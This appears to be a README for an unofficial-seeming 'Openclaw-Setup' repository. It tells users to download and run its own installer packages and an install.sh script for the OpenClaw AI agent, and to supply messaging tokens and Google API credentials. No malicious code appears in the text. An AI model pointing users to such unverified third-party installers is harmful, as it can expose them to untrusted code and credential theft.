Openclaw-Setup offers detailed, step-by-step instructions to install and run OpenClaw. OpenClaw is an open-source AI agent designed to work on your Mac, Linux VPS, or AWS server. This guide covers everything you need to get started, including setup, security, messaging channels, Google integration, skills, and monitoring.
OpenClaw helps you automate tasks and connect with common platforms like Discord, Telegram, and WhatsApp. Use this repository to set up your smart assistant quickly and safely, even if you have no coding experience.
Before you begin, make sure you have the following:
- A computer or server running MacOS, Linux, or a VPS (virtual private server)
- An internet connection
- Basic access to your system’s command line (simple copy-paste commands will be provided)
- Accounts for messaging channels you want to use (Discord, Telegram, WhatsApp)
- A Google account if you want to link Google services
OpenClaw works well on:
- Mac: Most modern versions (MacOS 10.14 and later)
- Linux VPS: Ubuntu 18.04 or newer recommended. Other common Linux distros are supported.
- AWS: Amazon EC2 instances running supported Linux versions
If you are unsure about your system, you can usually find your version information in your settings or system info.
Follow these instructions carefully to set up OpenClaw for the first time.
First, visit the releases page to get the latest setup files:
Click the green badge above or the link above to open the page. You will see a list of releases. Select the most recent one labeled as "latest" and download the relevant installer or setup zip file for your system.
If you are unsure which file to pick:
- Mac users: Download the
.dmgor.pkgfile. - Linux users and AWS: Download the
.tar.gzor.shscript.
- On Mac, open the
.dmgor.pkgfile and follow the on-screen instructions. - On Linux or AWS, open a terminal and navigate to the folder where you downloaded the file.
Example command to navigate:
cd ~/Downloads- Extract the archive if needed:
tar -xvzf openclaw-setup.tar.gz- Change to the extracted directory:
cd openclaw-setup- Run the installation script:
bash install.shThis script will install required software and set up OpenClaw on your system.
OpenClaw takes security seriously. After installation, it will guide you through these steps:
- Setting up secure passwords
- Configuring firewall rules for your server
- Enabling encryption for messaging channels
- Applying updates automatically to keep your system safe
Make sure to follow the prompts carefully to protect your setup.
OpenClaw can communicate with you via popular messaging apps. You can link your accounts to stay updated.
Supported channels:
- Discord
- Telegram
To link a channel, you will need to provide OpenClaw with a token or API key. The setup guide will provide easy instructions for each platform.
OpenClaw supports Google services such as Calendar, Gmail, and Drive.
To integrate Google:
- Create a Google API project at console.cloud.google.com
- Enable the required APIs (Calendar API, Gmail API, etc.)
- Obtain credentials (client ID and secret)
- Follow the installation prompts to add these credentials securely
This allows OpenClaw to manage your calendar events, send emails, and save files automatically.
OpenClaw lets you add “skills” to extend its abilities.
Skills examples:
- Weather updates
- Task reminders
- News alerts
- Custom automation scripts
Use the skill manager in the setup interface to install or remove skills. Many popular skills are pre-installed and ready to use.
After setup, you can monitor OpenClaw’s status:
- View live system status on the dashboard
- Access detailed logs of activity
- Receive error alerts and performance summaries
Monitoring tools help you ensure OpenClaw runs smoothly and troubleshoot any issues.
Once you complete these steps, OpenClaw will be running and ready to assist you. You can interact via the linked messaging channels or directly on your server.
Remember to check back occasionally for updates and new skills in the releases page:
Download Openclaw-Setup Releases
If you run into problems, try these tips:
- Restart your system and the OpenClaw service
- Check the logs for error messages
- Visit the issues tab on the GitHub repo for solutions
- Reach out on Discord or Telegram channels provided in the documentation
This project covers:
- ai-agent
- aws
- discord
- documentation
- openclaw
- self-hosted
- setup-guide
- telegram
- vps
These tags help you find relevant resources inside the GitHub repository.
Thank you for choosing Openclaw-Setup. Follow these instructions carefully to make installation straightforward and successful.
